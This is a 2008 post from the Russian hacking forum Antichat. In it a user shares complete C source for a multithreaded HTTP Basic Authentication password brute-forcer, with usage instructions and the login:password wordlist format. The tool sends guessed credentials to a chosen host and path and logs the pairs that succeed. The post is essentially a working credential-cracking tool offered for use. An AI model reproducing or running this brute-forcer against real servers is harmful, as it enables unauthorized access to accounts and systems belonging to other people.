ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Программирование > С/С++, C#, Delphi, .NET, Asm
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #11  
Старый 24.02.2008, 15:35
nc.STRIEM
Members of Antichat - Level 5
Регистрация: 05.04.2006
Сообщений: 1,066
Провел на форуме:
3493315

Репутация: 1228


Отправить сообщение для nc.STRIEM с помощью ICQ
По умолчанию

Тоже написал
Код:
#include <winsock2.h>
#include <stdio.h>
#include <conio.h>

#pragma comment(lib,"ws2_32")

#define PACK			"GET %s HTTP/1.0\r\nHost: %s\r\nAuthorization: Basic %s\r\n\r\n"
#define KR				128

////////////////////////////////////////////////////////////////////////
FILE *fr;
char pack[128];
int CurThr;
sockaddr_in ClientService;
int CLsize;
char host[128];
char path[128];
int THR;
int PL;
int so;
int p_good, p_bad, p_er;
int fl;
char fwr[128];
struct pp{
	char p[128];
	int st;
	int tr;
};
pp *pass;


static const unsigned char base64digits[] =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";

#define BAD 255
static const unsigned char base64val[] = {
    BAD,BAD,BAD,BAD, BAD,BAD,BAD,BAD, BAD,BAD,BAD,BAD, BAD,BAD,BAD,BAD,
		BAD,BAD,BAD,BAD, BAD,BAD,BAD,BAD, BAD,BAD,BAD,BAD, BAD,BAD,BAD,BAD,
		BAD,BAD,BAD,BAD, BAD,BAD,BAD,BAD, BAD,BAD,BAD, 62, BAD,BAD,BAD, 63,
		52, 53, 54, 55,  56, 57, 58, 59,  60, 61,BAD,BAD, BAD,BAD,BAD,BAD,
		BAD,  0,  1,  2,   3,  4,  5,  6,   7,  8,  9, 10,  11, 12, 13, 14,
		15, 16, 17, 18,  19, 20, 21, 22,  23, 24, 25,BAD, BAD,BAD,BAD,BAD,
		BAD, 26, 27, 28,  29, 30, 31, 32,  33, 34, 35, 36,  37, 38, 39, 40,
		41, 42, 43, 44,  45, 46, 47, 48,  49, 50, 51,BAD, BAD,BAD,BAD,BAD
};
#define DECODE64(c)  ((c > 32 && c<127)? base64val[(int)c] : BAD)

char* en64 (const char *in, char *out, int inlen)
{
    for (; inlen > 0; inlen -= 3, in+=3)
    {
		
		*out++ = base64digits[in[0] >> 2];
		*out++ = base64digits[((in[0]&3)<<4) | ((inlen > 1)?(in[1]>>4):0)];
		*out++ = (inlen > 1)? base64digits[((in[1] << 2) & 0x3c) | ((inlen > 2)? (in[2] >> 6) : 0)]: '=';
		*out++ = (inlen > 2)? base64digits[in[2] & 0x3f] : '=';
    }
    *out = '\0';
    return out;
}


DWORD  WINAPI check(LPVOID i)   
{
	char header[256];
	char b64t[200];
	en64(pass[(int)i].p, b64t, strlen(pass[(int)i].p));
	sprintf(header, pack,   b64t);
	SOCKET ksocket;
	int len;
	char buff[32];
	FILE *fw;

		ksocket=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
		if(connect( ksocket, (SOCKADDR*) &ClientService, CLsize ) == SOCKET_ERROR)
		{
			pass[(int)i].tr = 0;
			CurThr--;
			p_er++;
			return false;
		}
		len = send(ksocket, header, strlen(header), 0);
		if(len == SOCKET_ERROR)
		{
			pass[(int)i].tr = 0;
			CurThr--;
			p_er++;
			return false;
		}
		buff[recv(ksocket, buff, 32, 0)] = '\0';

		if(strstr(buff, "200 OK") != NULL)
		{
			if(fl) Sleep(50);
			fl=1;
			fw=fopen(fwr, "ab");
			fprintf(fw,"%s\n", pass[(int)i].p);
			fclose(fw);
			fl=0;
			p_good++;
		}
		else p_bad++;
		closesocket(ksocket); 

		pass[(int)i].st=0;
		pass[(int)i].tr = 0;
		CurThr--;
		PL--;
	return true;
}


DWORD  WINAPI READ(LPVOID x) 
{
	int i;

	for(i=0; i<KR; i++)
	{
		pass[i].st=0;
		pass[i].tr=0;
	}
	i=0;
	while(!feof(fr))
	{
		if(i >= KR)	i=0;

		if(pass[i].st == 0 && pass[i].tr == 0)
		{
			fgets(pass[i].p, 128, fr);
			pass[i].p[strcspn(pass[i].p, "\r\n\t")] = 0;
			pass[i].st=1;
			PL++;
		}
		i++;
	}
	PL--;
	fclose(fr);
	
	return true;
}


DWORD  WINAPI info(LPVOID x) 
{
	while(so) 
	{	
		system("cls");
		printf("Target: %s%s\n", host, path);;
		printf("Thread: %d/%d\n", CurThr, THR);
		printf("Founr: %d\n", p_good);
		printf("Bad: %d\n", p_bad);
		printf("Error: %d\n", p_er);
		Sleep(500);	
	}
	return true;
}


int main(int argc, char *argv[])
{

	if(argc < 6)
	{
		printf("USE: host path tread filePass fileResult\n");
		return 0;
	}

	strcpy(host, argv[1]);
	strcpy(path, argv[2]);
	THR=atoi(argv[3]);
	strcpy(fwr, argv[5]);
	
	fr=fopen(argv[4], "rb");
	if(!fr)
	{
		printf("File not found\n");
		return 0;
	}

	WSADATA wsaData;
	if (WSAStartup(MAKEWORD(2,2), &wsaData) != NO_ERROR)
	{
		printf("Error at WSAStartup()\n");
		return 0;
	}

	struct hostent *Ip = gethostbyname(host);
	if(Ip == NULL) 
	{
		printf("Error at gethostbyname()\n");
		return 0;
	}
	ClientService.sin_family = AF_INET;
	ClientService.sin_addr.s_addr = inet_addr(inet_ntoa(*((struct in_addr *)Ip->h_addr)));
	ClientService.sin_port = htons(80);
	CLsize=sizeof(ClientService);

	DWORD thID;
	pass = new pp[KR];
	CurThr=0;
	p_good=0;
	p_bad=0;
	p_er=0;
	int i=0;
	PL=1;
	so=1;
	fl=0;
	sprintf(pack, PACK, path, host, "%s");
	CreateThread(0, 0, READ, (LPVOID)0, 0, &thID); 

	CreateThread(0, 0, info, (LPVOID)0, 0, &thID);
	Sleep(1000);
	while(PL != 0 || CurThr != 0)
	{
		if(CurThr >= THR)
		{
			Sleep(100);
			continue;
		}
		if(i >= KR)	i=0;
		if(pass[i].st == 1 && pass[i].tr == 0)
		{
			pass[i].tr = 1;
			CurThr++;
			CreateThread(0, 0, check, (LPVOID)i, 0, &thID);
		}
		i++;
	}

	fclose(fr);
	Sleep(1000);
	so=0;
	system("pause");		
	return 1;
}
USE: host path tread filePass fileResult
например
brut.exe localhost /1.php 50 pass.txt result.txt

файл с паролямив форммате
Код:
логин:пароль
логин:пароль
логин:пароль

Последний раз редактировалось nc.STRIEM; 24.02.2008 в 15:53..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Хакер и закон! SladerNon Болталка 17 12.11.2009 09:42
Лучший софт для Linux _-Ramos-_ Soft - *nix 11 15.01.2008 12:08
Взлом Unix а silveran *nix 4 21.12.2005 22:46



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ